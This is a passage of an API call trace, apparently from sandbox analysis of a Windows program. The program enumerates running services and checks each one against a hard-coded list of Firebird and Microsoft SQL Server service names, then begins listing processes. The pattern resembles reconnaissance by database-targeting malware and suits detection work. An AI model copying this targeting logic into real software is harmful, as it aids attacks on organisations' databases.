	[0204.256] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bc4) returned 0x66b170
	[0204.257] EnumServicesStatusExW (in: hSCManager=0x668560, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x66b170, cbBufSize=0x1bc4, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x66b170, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0204.257] CloseServiceHandle (hSCObject=0x668560) returned 1
	[0204.258] lstrlenW (lpString="Appinfo") returned 7
	[0204.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0204.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0204.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0204.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0204.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0204.258] lstrlenW (lpString="AppXSvc") returned 7
	[0204.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0204.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0204.258] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0204.258] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0204.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0204.258] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0204.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0204.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0204.258] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0204.258] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0204.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0204.258] lstrlenW (lpString="Audiosrv") returned 8
	[0204.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0204.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0204.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0204.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0204.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0204.258] lstrlenW (lpString="BFE") returned 3
	[0204.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0204.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0204.259] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0204.259] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0204.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0204.259] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0204.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0204.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0204.259] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0204.259] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0204.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0204.259] lstrlenW (lpString="CDPSvc") returned 6
	[0204.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0204.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0204.259] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0204.259] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0204.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0204.259] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0204.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0204.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0204.259] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0204.259] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0204.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0204.259] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0204.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0204.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0204.259] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0204.259] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0204.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0204.259] lstrlenW (lpString="CryptSvc") returned 8
	[0204.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0204.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0204.259] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0204.259] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0204.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0204.260] lstrlenW (lpString="DcomLaunch") returned 10
	[0204.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0204.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0204.260] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0204.260] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0204.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0204.260] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0204.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0204.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0204.260] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0204.260] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0204.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0204.260] lstrlenW (lpString="Dhcp") returned 4
	[0204.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0204.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0204.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0204.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0204.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0204.260] lstrlenW (lpString="Dnscache") returned 8
	[0204.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0204.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0204.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0204.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0204.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0204.260] lstrlenW (lpString="DPS") returned 3
	[0204.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0204.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0204.260] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0204.260] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0204.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0204.260] lstrlenW (lpString="DusmSvc") returned 7
	[0204.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0204.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0204.261] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0204.261] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0204.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0204.261] lstrlenW (lpString="EventLog") returned 8
	[0204.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0204.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0204.261] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0204.261] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0204.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0204.261] lstrlenW (lpString="EventSystem") returned 11
	[0204.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0204.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0204.261] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0204.261] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0204.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0204.261] lstrlenW (lpString="FontCache") returned 9
	[0204.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0204.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0204.261] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0204.261] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0204.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0204.261] lstrlenW (lpString="gpsvc") returned 5
	[0204.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0204.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0204.261] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0204.261] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0204.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0204.261] lstrlenW (lpString="iphlpsvc") returned 8
	[0204.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0204.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0204.261] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0204.261] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0204.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0204.262] lstrlenW (lpString="KeyIso") returned 6
	[0204.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0204.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0204.262] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0204.262] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0204.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0204.262] lstrlenW (lpString="LanmanServer") returned 12
	[0204.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0204.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0204.262] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0204.262] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0204.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0204.262] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0204.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0204.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0204.262] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0204.262] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0204.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0204.262] lstrlenW (lpString="lfsvc") returned 5
	[0204.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0204.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0204.262] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0204.262] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0204.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0204.262] lstrlenW (lpString="lmhosts") returned 7
	[0204.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0204.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0204.262] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0204.262] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0204.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0204.262] lstrlenW (lpString="LSM") returned 3
	[0204.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0204.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0204.263] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0204.263] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0204.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0204.263] lstrlenW (lpString="MpsSvc") returned 6
	[0204.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0204.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0204.263] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0204.263] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0204.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0204.263] lstrlenW (lpString="NcbService") returned 10
	[0204.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0204.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0204.263] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0204.263] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0204.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0204.263] lstrlenW (lpString="netprofm") returned 8
	[0204.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0204.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0204.263] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0204.263] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0204.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0204.263] lstrlenW (lpString="NgcSvc") returned 6
	[0204.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0204.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0204.263] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0204.263] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0204.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0204.263] lstrlenW (lpString="NlaSvc") returned 6
	[0204.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0204.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0204.263] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0204.264] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0204.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0204.264] lstrlenW (lpString="nsi") returned 3
	[0204.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0204.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0204.264] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0204.264] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0204.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0204.264] lstrlenW (lpString="PcaSvc") returned 6
	[0204.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0204.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0204.610] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0204.610] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0204.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0204.610] lstrlenW (lpString="PlugPlay") returned 8
	[0204.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0204.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0204.610] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0204.610] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0204.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0204.610] lstrlenW (lpString="Power") returned 5
	[0204.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0204.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0204.610] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0204.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0204.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0204.610] lstrlenW (lpString="ProfSvc") returned 7
	[0204.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0204.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0204.610] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0204.610] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0204.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0204.610] lstrlenW (lpString="RpcEptMapper") returned 12
	[0204.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0204.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0204.611] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0204.611] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0204.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0204.611] lstrlenW (lpString="RpcSs") returned 5
	[0204.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0204.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0204.611] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0204.611] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0204.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0204.611] lstrlenW (lpString="SamSs") returned 5
	[0204.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0204.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0204.611] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0204.611] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0204.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0204.611] lstrlenW (lpString="Schedule") returned 8
	[0204.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0204.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0204.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0204.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0204.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0204.611] lstrlenW (lpString="SecurityHealthService") returned 21
	[0204.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0204.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0204.611] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0204.611] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0204.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0204.611] lstrlenW (lpString="SENS") returned 4
	[0204.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0204.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0204.611] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0204.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0204.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0204.612] lstrlenW (lpString="ShellHWDetection") returned 16
	[0204.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0204.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0204.612] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0204.612] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0204.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0204.612] lstrlenW (lpString="Spooler") returned 7
	[0204.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0204.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0204.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0204.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0204.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0204.612] lstrlenW (lpString="StateRepository") returned 15
	[0204.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0204.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0204.612] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0204.612] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0204.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0204.612] lstrlenW (lpString="SysMain") returned 7
	[0204.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0204.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0204.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0204.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0204.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0204.612] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0204.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0204.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0204.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0204.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0204.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0204.613] lstrlenW (lpString="Themes") returned 6
	[0204.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0204.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0204.613] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0204.613] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0204.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0204.613] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0204.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0204.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0204.613] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0204.613] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0204.613] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2b0
	[0204.620] Process32FirstW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0204.620] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0204.621] lstrlenW (lpString="System") returned 6
	[0204.621] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0204.621] lstrlenW (lpString="smss.exe") returned 8
	[0204.622] Process32NextW (in: hSnapshot=0x2b0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0204.622] lstrlenW (lpString="csrss.exe") returned 9
